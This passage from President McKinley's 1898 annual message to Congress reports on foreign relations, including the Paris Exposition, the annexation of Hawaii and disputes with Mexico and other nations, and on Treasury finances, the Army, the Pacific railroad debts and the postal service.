Moses P. Handy, who, under the act approved\nJuly 19, 1897, was appointed special commissioner with a view to securing\nall attainable information necessary to a full and complete understanding\nby Congress in regard to the participation of this Government in the Paris\nExposition, was laid before you by my message of December 6, 1897, and\nshowed the large opportunities opened to make known our national progress\nin arts, science, and manufactures, as well as the urgent need of immediate\nand adequate provision to enable due advantage thereof to be taken. Mr.\nHandy's death soon afterwards rendered it necessary for another to take up\nand complete his unfinished work, and on January 11 last Mr. Thomas W.\nCridler, Third Assistant Secretary of State, was designated to fulfill that\ntask. His report was laid before you by my message of June 14, 1898, with\nthe gratifying result of awakening renewed interest in the projected\ndisplay. By a provision in the sundry civil appropriation act of July 1,\n1898, a sum not to exceed $650,000 was allotted for the organization of a\ncommission to care for the proper preparation and installation of American\nexhibits and for the display of suitable exhibits by the several Executive\nDepartments, particularly by the Department of Agriculture, the Fish\nCommission, and the Smithsonian Institution, in representation of the\nGovernment of the United States.Pursuant to that enactment I appointed Mr. Ferdinand W. Peck, of Chicago,\ncommissioner-general, with an assistant commissioner-general and a\nsecretary. Mr. Peck at once proceeded to Paris, where his success in\nenlarging the scope and variety of the United States exhibit has been most\ngratifying. Notwithstanding the comparatively limited area of the\nexposition site--less than one-half that of the World's Fair at\nChicago--the space assigned to the United States has been increased from\nthe absolute allotment of 157,403 square feet reported by Mr. Handy to some\n202,000 square feet, with corresponding augmentation of the field for a\ntruly characteristic representation of the various important branches of\nour country's development. Mr. Peck's report will be laid before you. In my\njudgment its recommendations will call for your early consideration,\nespecially as regards an increase of the appropriation to at least one\nmillion dollars in all, so that not only may the assigned space be fully\ntaken up by the best possible exhibits in every class, but the preparation\nand installation be on so perfect a scale as to rank among the first in\nthat unparalleled competition of artistic and inventive production, and\nthus counterbalance the disadvantage with which we start as compared with\nother countries whose appropriations are on a more generous scale and whose\npreparations are in a state of much greater forwardness than our own.Where our artisans have the admitted capacity to excel, where our inventive\ngenius has initiated many of the grandest discoveries of these later days\nof the century, and where the native resources of our land are as limitless\nas they are valuable to supply the world's needs, it is our province, as it\nshould be our earnest care, to lead in the march of human progress, and not\nrest content with any secondary place. Moreover, if this be due to\nourselves, it is no less due to the great French nation whose guests we\nbecome, and which has in so many ways testified its wish and hope that our\nparticipation shall befit the place the two peoples have won in the field\nof universal development.The commercial arrangement made with France on the 28th of May, 1898, under\nthe provisions of section 3 of the tariff act of 1897, went into effect on\nthe 1st day of June following. It has relieved a portion of our export\ntrade from serious embarrassment. Further negotiations are now pending\nunder section 4 of the same act with a view to the increase of trade\nbetween the two countries to their mutual advantage. Negotiations with\nother governments, in part interrupted by the war with Spain, are in\nprogress under both sections of the tariff act. I hope to be able to\nannounce some of the results of these negotiations during the present\nsession of Congress.Negotiations to the same end with Germany have been set on foot. Meanwhile\nno effort has been relaxed to convince the Imperial Government of the\nthoroughness of our inspection of pork products for exportation, and it is\ntrusted that the efficient administration of this measure by the Department\nof Agriculture will be recognized as a guaranty of the healthfulness of the\nfood staples we send abroad to countries where their use is large and\nnecessary.I transmitted to the Senate on the 10th of February last information\ntouching the prohibition against the importation of fresh fruits from this\ncountry, which had then recently been decreed by Germany on the ground of\ndanger of disseminating the San Jose scale insect. This precautionary\nmeasure was justified by Germany on the score of the drastic steps taken in\nseveral States of the Union against the spread of the pest, the elaborate\nreports of the Department of Agriculture being put in evidence to show the\ndanger to German fruit-growing interests should the scale obtain a lodgment\nin that country. Temporary relief was afforded in the case of large\nconsignments of fruit then on the way by inspection and admission when\nfound noninfected. Later the prohibition was extended to dried fruits of\nevery kind, but was relaxed so as to apply only to unpeeled fruit and fruit\nwaste. As was to be expected, the alarm reached to other countries, and\nSwitzerland has adopted a similar inhibition. Efforts are in progress to\ninduce the German and Swiss Governments to relax the prohibition in favor\nof dried fruits shown to have been cured under circumstances rendering the\nexistence of animal life impossible.Our relations with Great Britain have continued on the most friendly\nfooting. Assenting to our request, the protection of Americans and their\ninterests in Spanish jurisdiction was assumed by the diplomatic and\nconsular representatives of Great Britain, who fulfilled their delicate and\narduous trust with tact and zeal, eliciting high commendation. I may be\nallowed to make fitting allusion to the instance of Mr. Ramsden, Her\nMajesty's consul at Santiago de Cuba, whose untimely death after\ndistinguished service and untiring effort during the siege of that city was\nsincerely lamented.In the early part of April last, pursuant to a request made at the instance\nof the Secretary of State by the British ambassador at this capital, the\nCanadian government granted facilities for the passage of four United\nStates revenue cutters from the Great Lakes to the Atlantic coast by way of\nthe Canadian canals and the St. Lawrence River. The vessels had reached\nLake Ontario and were there awaiting the opening of navigation when war was\ndeclared between the United States and Spain. Her Majesty's Government\nthereupon, by a communication of the latter part of April, stated that the\npermission granted before the outbreak of hostilities would not be\nwithdrawn provided the United States Government gave assurance that the\nvessels in question would proceed direct to a United States port without\nengaging in any hostile operation. This Government promptly agreed to the\nstipulated condition, it being understood that the vessels would not be\nprohibited from resisting any hostile attack.It will give me especial satisfaction if I shall be authorized to\ncommunicate to you a favorable conclusion of the pending negotiations with\nGreat Britain in respect to the Dominion of Canada. It is the earnest wish\nof this Government to remove all sources of discord and irritation in our\nrelations with the neighboring Dominion. The trade between the two\ncountries is constantly increasing, and it is important to both countries\nthat all reasonable facilities should be granted for its development.The Government of Greece strongly urges the onerousness of the duty here\nimposed upon the currants of that country, amounting to 100 per cent or\nmore of their market value. This fruit is stated to be exclusively a Greek\nproduct, not coming into competition with any domestic product. The\nquestion of reciprocal commercial relations with Greece, including the\nrestoration of currants to the free list, is under consideration.The long-standing claim of Bernard Campbell for damages for injuries\nsustained from a violent assault committed against him by military\nauthorities in the island of Haiti has been settled by the agreement of\nthat Republic to pay him $10,000 in American gold. Of this sum $5,000 has\nalready been paid. It is hoped that other pending claims of American\ncitizens against that Republic may be amicably adjusted.Pending the consideration by the Senate of the treaty signed June 1897, by\nthe plenipotentiaries of the United States and of the Republic of Hawaii,\nproviding for the annexation of the islands, a joint resolution to\naccomplish the same purpose by accepting the offered cession and\nincorporating the ceded territory into the Union was adopted by the\nCongress and approved July 7, 1898. I thereupon directed the United States\nsteamship Philadelphia to convey Rear-Admiral Miller to Honolulu, and\nintrusted to his hands this important legislative act, to be delivered to\nthe President of the Republic of Hawaii, with whom the Admiral and the\nUnited States minister were authorized to make appropriate arrangements for\ntransferring the sovereignty of the islands to the United States. This was\nsimply but impressively accomplished on the 12th of August last by the\ndelivery of a certified copy of the resolution to President Dole, who\nthereupon yielded up to the representative of the Government of the United\nStates the sovereignty and public property of the Hawaiian Islands.Pursuant to the terms of the joint resolution and in exercise of the\nauthority thereby conferred upon me, I directed that the civil, judicial,\nand military powers theretofore exercised by the officers of the Government\nof the Republic of Hawaii should continue to be exercised by those officers\nuntil Congress shall provide a government for the incorporated territory,\nsubject to my power to remove such officers and to fill vacancies. The\nPresident, officers, and troops of the Republic thereupon took the oath of\nallegiance to the United States, thus providing for the uninterrupted\ncontinuance of all the administrative and municipal functions of the\nannexed territory until Congress shall otherwise enact.Following the further provision of the joint resolution, I appointed the\nHons. Shelby M. Cullom, of Illinois, John T. Morgan, of Alabama, Robert R.\nHitt, of Illinois, Sanford B. Dole, of Hawaii, and Walter F. Frear, of\nHawaii, as commissioners to confer and recommend to Congress such\nlegislation concerning the Hawaiian Islands as they should deem necessary\nor proper. The commissioners having fulfilled the mission confided to them,\ntheir report will be laid before you at an early day. It is believed that\ntheir recommendations will have the earnest consideration due to the\nmagnitude of the responsibility resting upon you to give such shape to the\nrelationship of those mid-Pacific lands to our home Union as will benefit\nboth in the highest degree, realizing the aspirations of the community that\nhas cast its lot with us and elected to share our political heritage, while\nat the same time justifying the foresight of those who for three-quarters\nof a century have looked to the assimilation of Hawaii as a natural and\ninevitable consummation, in harmony with our needs and in fulfillment of\nour cherished traditions.The questions heretofore pending between Hawaii and Japan growing out of\nthe alleged mistreatment of Japanese treaty immigrants were, I am pleased\nto say, adjusted before the act of transfer by the payment of a reasonable\nindemnity to the Government of Japan.Under the provisions of the joint resolution, the existing customs\nrelations of the Hawaiian Islands with the United States and with other\ncountries remain unchanged until legislation shall otherwise provide. The\nconsuls of Hawaii here and in foreign countries continue to fulfill their\ncommercial agencies, while the United States consulate at Honolulu is\nmaintained for all appropriate services pertaining to trade and the\nrevenue. It would be desirable that all foreign consuls in the Hawaiian\nIslands should receive new exequaturs from this Government.The attention of Congress is called to the fact that, our consular offices\nhaving ceased to exist in Hawaii and being about to cease in other\ncountries coming under the sovereignty of the United States, the provisions\nfor the relief and transportation of destitute American seamen in these\ncountries under our consular regulations will in consequence terminate. It\nis proper, therefore, that new legislation should be enacted upon this\nsubject in order to meet the changed conditions.The interpretation of certain provisions of the extradition convention of\nDecember 11, 1861, has been at various times the occasion of controversy\nwith the Government of Mexico. An acute difference arose in the case of the\nMexican demand for the delivery of Jesus Guerra, who, having led a\nmarauding expedition near the border with the proclaimed purpose of\ninitiating an insurrection against President Diaz, escaped into Texas.\nExtradition was refused on the ground that the alleged offense was\npolitical in its character, and therefore came within the treaty proviso of\nnonsurrender. The Mexican contention was that the exception only related to\npurely political offenses, and that as Guerra's acts were admixed with the\ncommon crime of murder, arson, kidnaping, and robbery, the option of\nnondelivery became void, a position which this Government was unable to\nadmit in view of the received international doctrine and practice in the\nmatter. The Mexican Government, in view of this, gave notice January 24,\n1898, of the termination of the convention, to take effect twelve months\nfrom that date, at the same time inviting the conclusion of a new\nconvention, toward which negotiations are on foot.In this relation I may refer to the necessity of some amendment of our\nexisting extradition statute. It is a common stipulation of such treaties\nthat neither party shall be bound to give up its own citizens, with the\nadded proviso in one of our treaties, that with Japan, that it may\nsurrender if it see fit. It is held in this country by an almost uniform\ncourse of decisions that where a treaty negatives the obligation to\nsurrender the President is not invested with legal authority to act. The\nconferment of such authority would be in the line of that sound morality\nwhich shrinks from affording secure asylum to the author of a heinous\ncrime. Again, statutory provision might well be made for what is styled\nextradition by way of transit, whereby a fugitive surrendered by one\nforeign government to another may be conveyed across the territory of the\nUnited States to the jurisdiction of the demanding state. A recommendation\nin this behalf made in the President's message of 1886 was not acted upon.\nThe matter is presented for your consideration.The problem of the Mexican free zone has been often discussed with regard\nto its inconvenience as a provocative of smuggling into the United States\nalong an extensive and thinly guarded land border. The effort made by the\njoint resolution of March 1, 1895, to remedy the abuse charged by\nsuspending the privilege of free transportation in bond across the\nterritory of the United States to Mexico failed of good result, as is\nstated in Report No. 702 of the House of Representatives, submitted in the\nlast session, March 11, 1898. As the question is one to be conveniently met\nby wise concurrent legislation of the two countries looking to the\nprotection of the revenues by harmonious measures operating equally on\neither side of the boundary, rather than by conventional arrangements, I\nsuggest that Congress consider the advisability of authorizing and inviting\na conference of representatives of the Treasury Departments of the United\nStates and Mexico to consider the subject in all its complex bearings, and\nmake report with pertinent recommendations to the respective Governments\nfor the information and consideration of their Congresses.The Mexican Water Boundary Commission has adjusted all matters submitted to\nit to the satisfaction of both Governments save in three important\ncases--that of the \"Chamizal\" at El Paso, Tex., where the two commissioners\nfailed to agree, and wherein, for this case only, this Government has\nproposed to Mexico the addition of a third member; the proposed elimination\nof what are known as \"Bancos,\" small isolated islands formed by the cutting\noff of bends in the Rio Grande, from the operation of the treaties of 1884\nand 1889, recommended by the commissioners and approved by this Government,\nbut still under consideration by Mexico; and the subject of the \"Equitable\ndistribution of the waters of the Rio Grande,\" for which the commissioners\nrecommended an international dam and reservoir, approved by Mexico, but\nstill under consideration by this Government. Pending these questions it is\nnecessary to extend the life of the commission, which expires December 23\nnext.The coronation of the young Queen of the Netherlands was made the occasion\nof fitting congratulations.The claim of Victor H. McCord against Peru, which for a number of years has\nbeen pressed by this Government and has on several occasions attracted the\nattention of the Congress, has been satisfactorily adjusted. A protocol was\nsigned May 17, 1898, whereby, the fact of liability being admitted, the\nquestion of the amount to be awarded was submitted to the chief justice of\nCanada as sole arbitrator. His award sets the indemnity due the claimant at\n$40,000.The Government of Peru has given the prescribed notification of its\nintention to abrogate the treaty of friendship, commerce, and navigation\nconcluded with this country August 31, 1887. As that treaty contains many\nimportant provisions necessary to the maintenance of commerce and good\nrelations, which could with difficulty be replaced by the negotiation of\nrenewed provisions within the brief twelve months intervening before the\ntreaty terminates, I have invited suggestions by Peru as to the particular\nprovisions it is desired to annul, in the hope of reaching an arrangement\nwhereby the remaining articles may be provisionally saved.His Majesty the Czar having announced his purpose to raise the Imperial\nRussian mission at this capital to the rank of an embassy, I responded,\nunder the authority conferred by the act of March 3, 1893, by commissioning\nand accrediting the actual representative at St. Petersburg in the capacity\nof ambassador extraordinary and plenipotentiary. The Russian ambassador to\nthis country has since presented his credentials.The proposal of the Czar for a general reduction of the vast military\nestablishments that weigh so heavily upon many peoples in time of peace was\ncommunicated to this Government with an earnest invitation to be\nrepresented in the conference which it is contemplated to assemble with a\nview to discussing the means of accomplishing so desirable a result. His\nMajesty was at once informed of the cordial sympathy of this Government\nwith the principle involved in his exalted proposal and of the readiness of\nthe United States to take part in the conference. The active military force\nof the United States, as measured by our population, territorial area, and\ntaxable wealth, is, and under any conceivable prospective conditions must\ncontinue to be, in time of peace so conspicuously less than that of the\narmed powers to whom the Czar's appeal is especially addressed that the\nquestion can have for us no practical importance save as marking an\nauspicious step toward the betterment of the condition of the modern\npeoples and the cultivation of peace and good will among them; but in this\nview it behooves us as a nation to lend countenance and aid to the\nbeneficent project.The claims of owners of American sealing vessels for seizure by Russian\ncruisers in Bering Sea are being pressed to a settlement. The equities of\nthe cases justify the expectation that a measure of reparation will\neventually be accorded in harmony with precedent and in the light of the\nproven facts.The recommendation made in my special message of April 27 last is renewed,\nthat appropriation be made to reimburse the master and owners of the\nRussian bark Hans for wrongful arrest of the master and detention of the\nvessel in February, 1896, by officers of the United States district court\nfor the southern district of Mississippi. The papers accompanying my said\nmessage make out a most meritorious claim and justify the urgency with\nwhich it has been presented by the Government of Russia.Malietoa Laupepa, King of Samoa, died on August 22 last. According to\nArticle I of the general act of Berlin, \"his successor shall be duly\nelected according to the laws and customs of Samoa.\"Arrangements having been agreed upon between the signatories of the general\nact for the return of Mataafa and the other exiled Samoan chiefs, they were\nbrought from Jaluit by a German war vessel and landed at Apia on September\n18 last.Whether the death of Malietoa and the return of his old-time rival Mataafa\nwill add to the undesirable complications which the execution of the\ntripartite general act has heretofore developed remains to be seen. The\nefforts of this Government will, as heretofore, be addressed toward a\nharmonious and exact fulfillment of the terms of the international\nengagement to which the United States became a party in 1889.The Cheek claim against Siam, after some five years of controversy, has\nbeen adjusted by arbitration under an agreement signed July 6, 1897, an\naward of 706,721 ticals (about $187,987.78 ), with release of the Cheek\nestate from mortgage claims, having been rendered March 21, 1898, in favor\nof the claimant by the arbitrator, Sir Nicholas John Hannen, British chief\njustice for China and Japan.An envoy from Siam has been accredited to this Government and has presented\nhis credentials.Immediately upon the outbreak of the war with Spain the Swiss Government,\nfulfilling the high mission it has deservedly assumed as the patron of the\nInternational Red Cross, proposed to the United States and Spain that they\nshould severally recognize and carry into execution, as a modus vivendi,\nduring the continuance of hostilities, the additional articles proposed by\nthe international conference of Geneva, October 20, 1868, extending the\neffects of the existing Red Cross convention of 1864 to the conduct of\nnaval war. Following the example set by France and Germany in 1870 in\nadopting such a modus vivendi, and in view of the accession of the United\nStates to those additional articles in 1882, although the exchange of\nratifications thereof still remained uneffected, the Swiss proposal was\npromptly and cordially accepted by us, and simultaneously by Spain.This Government feels a keen satisfaction in having thus been enabled to\ntestify its adherence to the broadest principles of humanity even amidst\nthe clash of war, and it is to be hoped that the extension of the Red Cross\ncompact to hostilities by sea as well as on land may soon become an\naccomplished fact through the general promulgation of the additional naval\nRed Cross articles by the maritime powers now parties to the convention of\n1864.The important question of the claim of Switzerland to the perpetual\ncantonal allegiance of American citizens of Swiss origin has not made\nhopeful progress toward a solution, and controversies in this regard still\ncontinue.The newly accredited envoy of the United States to the Ottoman Porte\ncarries instructions looking to the disposal of matters in controversy with\nTurkey for a number of years. He is especially charged to press for a just\nsettlement of our claims for indemnity by reason of the destruction of the\nproperty of American missionaries resident in that country during the\nArmenian troubles of 1895, as well as for the recognition of older claims\nof equal justness.He is also instructed to seek an adjustment of the dispute growing out of\nthe refusal of Turkey to recognize the acquired citizenship of Ottoman-born\npersons naturalized in the United States since 1869 without prior imperial\nconsent, and in the same general relation he is directed to endeavor to\nbring about a solution of the question which has more or less acutely\nexisted since 1869 concerning the jurisdictional rights of the United\nStates in matters of criminal procedure and punishment under Article IV of\nthe treaty of 1830. This latter difficulty grows out of a verbal\ndifference, claimed by Turkey to be essential, between the original Turkish\ntext and the promulgated translation.After more than two years from the appointment of a consul of this country\nto Erzerum, he has received his exequatur.The arbitral tribunal appointed under the treaty of February 2, 1897,\nbetween Great Britain and Venezuela, to determine the boundary line between\nthe latter and the colony of British Guiana, is to convene at Paris during\nthe present month. It is a source of much gratification to this Government\nto see the friendly resort of arbitration applied to the settlement of this\ncontroversy, not alone because of the earnest part we have had in bringing\nabout the result, but also because the two members named on behalf of\nVenezuela, Mr. Chief Justice Fuller and Mr. Justice Brewer, chosen from our\nhighest court, appropriately testify the continuing interest we feel in the\ndefinitive adjustment of the question according to the strictest rules of\njustice. The British members, Lord Herschell and Sir Richard Collins, are\njurists of no less exalted repute, while the fifth member and president of\nthe tribunal, M. F. De Martens, has earned a world-wide reputation as an\nauthority upon international law.The claim of Felipe Scandella against Venezuela for arbitrary expulsion and\ninjury to his business has been adjusted by the revocation of the order of\nexpulsion and by the payment of the sum of $16,000.I have the satisfaction of being able to state that the Bureau of the\nAmerican Republics, created in 1890 as the organ for promoting commercial\nintercourse and fraternal relations among the countries of the Western\nHemisphere, has become a more efficient instrument of the wise purposes of\nits founders, and is receiving the cordial support of the contributing\nmembers of the international union which are actually represented in its\nboard of management. A commercial directory, in two volumes, containing a\nmass of statistical matter descriptive of the industrial and commercial\ninterests of the various countries, has been printed in English, Spanish,\nPortuguese, and French, and a monthly bulletin published in these four\nlanguages and distributed in the Latin-American countries as well as in the\nUnited States has proved to be a valuable medium for disseminating\ninformation and furthering the varied interests of the international\nunion.During the past year the important work of collecting information of\npractical benefit to American industries and trade through the agency of\nthe diplomatic and consular officers has been steadily advanced, and in\norder to lay such data before the public with the least delay the practice\nwas begun in January, 1898, of issuing the commercial reports from day to\nday as they are received by the Department of State. It is believed that\nfor promptitude as well as fullness of information the service thus\nsupplied to our merchants and manufacturers will be found to show sensible\nimprovement and to merit the liberal support of Congress.The experiences of the last year bring forcibly home to us a sense of the\nburdens and the waste of war. We desire, in common with most civilized\nnations, to reduce to the lowest possible point the damage sustained in\ntime of war by peaceable trade and commerce. It is true we may suffer in\nsuch cases less than other communities, but all nations are damaged more or\nless by the state of uneasiness and apprehension into which an outbreak of\nhostilities throws the entire commercial world. It should be our object,\ntherefore, to minimize, so far as practicable, this inevitable loss and\ndisturbance. This purpose can probably best be accomplished by an\ninternational agreement to regard all private property at sea as exempt\nfrom capture or destruction by the forces of belligerent powers. The United\nStates Government has for many years advocated this humane and beneficent\nprinciple, and is now in position to recommend it to other powers without\nthe imputation of selfish motives. I therefore suggest for your\nconsideration that the Executive be authorized to correspond with the\ngovernments of the principal maritime powers with a view of incorporating\ninto the permanent law of civilized nations the principle of the exemption\nof all private property at sea, not contraband of war, from capture or\ndestruction by belligerent powers.The Secretary of the Treasury reports that the receipts of the Government\nfrom all sources during the fiscal year ended June 30, 1898, including\n$64,751,223 received from sale of Pacific railroads, amounted to\n$405,321,335, and its expenditures to $443,168,582. There was collected\nfrom customs $149,575,062 and from internal revenue $170,900,641. Our\ndutiable imports amounted to $324,635,479, a decrease of $58,156,690 over\nthe preceding year, and importations free of duty amounted to $291,414,175,\na decrease from the preceding year of $90,524,068. Internal-revenue\nreceipts exceeded those of the preceding year by $24,212,067.The total tax collected on distilled spirits was $92,546,999; on\nmanufactured tobacco, $36,230,522, and on fermented liquors, $39,515,421.\nWe exported merchandise during the year amounting to $1,231,482,330, an\nincrease of $180,488,774 from the preceding year.It is estimated upon the basis of present revenue laws that the receipts of\nthe Government for the year ending June 30, 1899, will be $577,874,647, and\nits expenditures $689,874,647, resulting in a deficiency of $112,000,000.On the 1st of December, 1898, there was held in the Treasury gold coin\namounting to $138,441,547, gold bullion amounting to $138,502,545, silver\nbullion amounting to $93,359,250, and other forms of money amounting to\n$451,963,981.On the same date the amount of money of all kinds in circulation, or not\nincluded in Treasury holdings, was $1,886,879,504, an increase for the year\nof $165,794,966. Estimating our population at 75,194,000 at the time\nmentioned, the per capita circulation was $25.09. On the same date there\nwas in the Treasury gold bullion amounting to $138,502,545.The provisions made for strengthening the resources of the Treasury in\nconnection with the war have given increased confidence in the purpose and\npower of the Government to maintain the present standard, and have\nestablished more firmly than ever the national credit at home and abroad. A\nmarked evidence of this is found in the inflow of gold to the Treasury. Its\nnet gold holdings on November 1, 1898, were $239,885,162 as compared with\n$153,573,147 on November 1, 1897, and an increase of net cash of\n$207,756,100, November 1, 1897, to $300,238,275, November 1, 1898. The\npresent ratio of net Treasury gold to outstanding Government liabilities,\nincluding United States notes, Treasury notes of 1890, silver certificates,\ncurrency certificates, standard silver dollars, and fractional silver coin,\nNovember 1, 1898, was 25.35 per cent, as compared with 16.96 per cent,\nNovember 1, 1897.I renew so much of my recommendation of December, 1897, as follows: That\nwhen any of the United States notes are presented for redemption in gold\nand are redeemed in gold, such notes shall be kept and set apart and only\npaid out in exchange for gold. This is an obvious duty. If the holder of\nthe United States note prefers the gold and gets it from the Government, he\nshould not receive back from the Government a United States note without\npaying gold in exchange for it. The reason for this is made all the more\napparent when the Government issues an interest-bearing debt to provide\ngold for the redemption of United States notes--a non-interest-bearing\ndebt. Surely it should not pay them out again except on demand and for\ngold. If they are put out in any other way, they may return again, to he\nfollowed by another bond issue to redeem them--another interest-bearing\ndebt to redeem a non-interest-bearing debt. This recommendation was made in\nthe belief that such provisions of law would insure to a greater degree the\nsafety of the present standard, and better protect our currency from the\ndangers to which it is subjected from a disturbance in the general business\nconditions of the country.In my judgment the present condition of the Treasury amply justifies the\nimmediate enactment of the legislation recommended one year ago, under\nwhich a portion of the gold holdings should be placed in a trust fund from\nwhich greenbacks should be redeemed upon presentation, but when once\nredeemed should not thereafter be paid out except for gold.It is not to be inferred that other legislation relating to our currency is\nnot required; on the contrary, there is an obvious demand for it.The importance of adequate provision which will insure to our future a\nmoney standard related as our money standard now is to that of our\ncommercial rivals is generally recognized.The companion proposition that our domestic paper currency shall be kept\nsafe and yet be so related to the needs of our industries and internal\ncommerce as to be adequate and responsive to such needs is a proposition\nscarcely less important. The subject, in all its parts, is commended to the\nwise consideration of the Congress.The annexation of Hawaii and the changed relations of the United States to\nCuba, Puerto Rico, and the Philippines resulting from the war, compel the\nprompt adoption of a maritime policy by the United States. There should be\nestablished regular and frequent steamship communication, encouraged by the\nUnited States, under the American flag, with the newly acquired islands.\nSpain furnished to its colonies, at an annual cost of about $2,000,000,\nsteamship lines communicating with a portion of the world's markets, as\nwell as with trade centers of the home Government. The United States will\nnot undertake to do less. It is our duty to furnish the people of Hawaii\nwith facilities, under national control, for their export and import trade.\nIt will be conceded that the present situation calls for legislation which\nshall be prompt, durable, and liberal.The part which American merchant vessels and their seamen performed in the\nwar with Spain demonstrates that this service, furnishing both pickets and\nthe second line of defense, is a national necessity, and should be\nencouraged in every constitutional way. Details and methods for the\naccomplishment of this purpose are discussed in the report of the Secretary\nof the Treasury, to which the attention of Congress is respectfully\ninvited.In my last annual message I recommended that Congress authorize the\nappointment of a commission for the purpose of making systematic\ninvestigations with reference to the cause and prevention of yellow fever.\nThis matter has acquired an increased importance as a result of the\nmilitary occupation of the island of Cuba and the commercial intercourse\nbetween this island and the United States which we have every reason to\nexpect. The sanitary problems connected with our new relations with the\nisland of Cuba and the acquisition of Puerto Rico are no less important\nthan those relating to finance, commerce, and administration. It is my\nearnest desire that these problems may be considered by competent experts\nand that everything may be done which the most recent advances in sanitary\nscience can offer for the protection of the health of our soldiers in those\nislands and of our citizens who are exposed to the dangers of infection\nfrom the importation of yellow fever. I therefore renew my recommendation\nthat the authority of Congress may be given and a suitable appropriation\nmade to provide for a commission of experts to be appointed for the purpose\nindicated.Under the act of Congress approved April 26, 1898, authorizing the\nPresident in his discretion, \"upon a declaration of war by Congress, or a\ndeclaration by Congress that war exists,\" I directed the increase of the\nRegular Army to the maximum of 62,000, authorized in said act.There are now in the Regular Army 57,862 officers and men. In said act it\nwas provided--That at the end of any war in which the United States may become\ninvolved the Army shall be reduced to a peace basis by the transfer\nin the same arm of the service or absorption by promotion or honorable\ndischarge, under such regulations as the Secretary of War may establish, of\nsupernumerary commissioned officers and the honorable discharge or transfer\nof supernumerary enlisted men; and nothing contained in this act shall be\nconstrued as authorizing the permanent increase of the commissioned or\nenlisted force of the Regular Army beyond that now provided by the law in\nforce prior to the passage of this act, except as to the increase of\ntwenty-five majors provided for in section 1 hereof. The importance of\nlegislation for the permanent increase of the Army is therefore manifest,\nand the recommendation of the Secretary of War for that purpose has my\nunqualified approval. There can be no question that at this time, and\nprobably for some time in the future, 100,000 men will be none too many to\nmeet the necessities of the situation. At all events, whether that number\nshall be required permanently or not, the power should be given to the\nPresident to enlist that force if in his discretion it should be necessary;\nand the further discretion should be given him to recruit for the Army\nwithin the above limit from the inhabitants of the islands with the\ngovernment of which we are charged. It is my purpose to muster out the\nentire Volunteer Army as soon as the Congress shall provide for the\nincrease of the regular establishment. This will be only an act of justice\nand will be much appreciated by the brave men who left their homes and\nemployments to help the country in its emergency.In my last annual message I stated: The Union Pacific Railway, main line,\nwas sold under the decree of the United States court for the district of\nNebraska on the 1st and 2d of November of this year. The amount due the\nGovernment consisted of the principal of the subsidy bonds, $27,236,512,\nand the accrued interest thereon, $31,211,711.75, making the total\nindebtedness $58,448,223.75. The bid at the sale covered the first-mortgage\nlien and the entire mortgage claim of the Government, principal and\ninterest. This left the Kansas Pacific case unconcluded. By a decree of the\ncourt in that case an upset price for the property was fixed at a sum which\nwould yield to the Government only $2,500,000 upon its lien. The sale, at\nthe instance of the Government, was postponed first to December 15, 1897,\nand later, upon the application of the United States, was postponed to the\n16th day of February, 1898.Having satisfied myself that the interests of the Government required that\nan effort should be made to obtain a larger sum, I directed the Secretary\nof the Treasury, under the act passed March 3, 1887, to pay out of the\nTreasury to the persons entitled to receive the same the amounts due upon\nall prior mortgages upon the Eastern and Middle divisions of said railroad\nout of any money in the Treasury not otherwise appropriated, whereupon the\nAttorney-General prepared a petition to be presented to the court, offering\nto redeem said prior liens in such manner as the court might direct, and\npraying that thereupon the United States might be held to be subrogated to\nall the rights of said prior lien holders and that a receiver might be\nappointed to take possession of the mortgaged premises and maintain and\noperate the same until the court or Congress otherwise directed. Thereupon\nthe reorganization committee agreed that if said petition was withdrawn and\nthe sale allowed to proceed on the 16th of February, 1898, they would bid a\nsum at the sale which would realize to the Government the entire principal\nof its debt, $6,303,000.Believing that no better price could be obtained and appreciating the\ndifficulties under which the Government would labor if it should become the\npurchaser of the road at the sale, in the absence of any authority by\nCongress to take charge of and operate the road I directed that upon the\nguaranty of a minimum bid which should give the Government the principal of\nits debt the sale should proceed. By this transaction the Government\nsecured an advance of $3,803,000 over and above the sum which the court had\nfixed as the upset price, and which the reorganization committee had\ndeclared was the maximum which they would pay for the property.It is a gratifying fact that the result of these proceedings against the\nUnion Pacific system and the Kansas Pacific line is that the Government has\nreceived on account of its subsidy claim the sum of $64,751,223.75, an\nincrease of $18,997,163.76 over the sum which the reorganization committee\noriginally agreed to bid for the joint property, the Government receiving\nits whole claim, principal and interest, on the Union Pacific, and the\nprincipal of its debt on the Kansas Pacific Railroad.Steps had been taken to foreclose the Government's lien upon the Central\nPacific Railroad Company, but before action was commenced Congress passed\nan act, approved July 7, 1898, creating a commission consisting of the\nSecretary of the Treasury, the Attorney-General, and the Secretary of the\nInterior, and their successors in office, with full power to settle the\nindebtedness to the Government growing out of the issue of bonds in aid of\nthe construction of the Central Pacific and Western Pacific bond-aided\nrailroads, subject to the approval of the President.No report has yet been made to me by the commission thus created. Whatever\naction is had looking to a settlement of the indebtedness in accordance\nwith the act referred to will be duly submitted to the Congress.I deem it my duty to call to the attention of Congress the condition of the\npresent building occupied by the Department of Justice. The business of\nthat Department has increased very greatly since it was established in its\npresent quarters. The building now occupied by it is neither large enough\nnor of suitable arrangement for the proper accommodation of the business of\nthe Department. The Supervising Architect has pronounced it unsafe and\nunsuited for the use to which it is put. The Attorney-General in his report\nstates that the library of the Department is upon the fourth floor, and\nthat all the space allotted to it is so crowded with books as to\ndangerously overload the structure. The first floor is occupied by the\nCourt of Claims. The building is of an old and dilapidated appearance,\nunsuited to the dignity which should attach to this important Department.A proper regard for the safety, comfort, and convenience of the officers\nand employees would justify the expenditure of a liberal sum of money in\nthe erection of a new building of commodious proportions and handsome\nappearance upon the very advantageous site already secured for that\npurpose, including the ground occupied by the present structure and\nadjoining vacant lot, comprising in all a frontage of 201 feet on\nPennsylvania avenue and a depth of 136 feet.In this connection I may likewise refer to the inadequate accommodations\nprovided for the Supreme Court in the Capitol, and suggest the wisdom of\nmaking provision for the erection of a separate building for the court and\nits officers and library upon available ground near the Capitol.The postal service of the country advances with extraordinary growth.\nWithin twenty years both the revenues and the expenditures of the\nPost-Office Department have multiplied threefold. In the last ten years\nthey have nearly doubled. Our postal business grows much more rapidly than\nour population. It now involves an expenditure of $100,000,000 a year,\nnumbers 73,000 post-offices, and enrolls 200,000 employees. This remarkable\nextension of a service which is an accurate index of the public conditions\npresents gratifying evidence of the advancement of education, of the\nincrease of communication and business activity, and of the improvement of\nmail facilities leading to their constantly augmenting use.The war with Spain laid new and exceptional labors on the Post-Office\nDepartment. The mustering of the military and naval forces of the United\nStates required special mail arrangements for every camp and every\ncampaign. The communication between home and camp was naturally eager and\nexpectant. In some of the larger places of rendezvous as many as 50,000\nletters a day required handling. This necessity was met by the 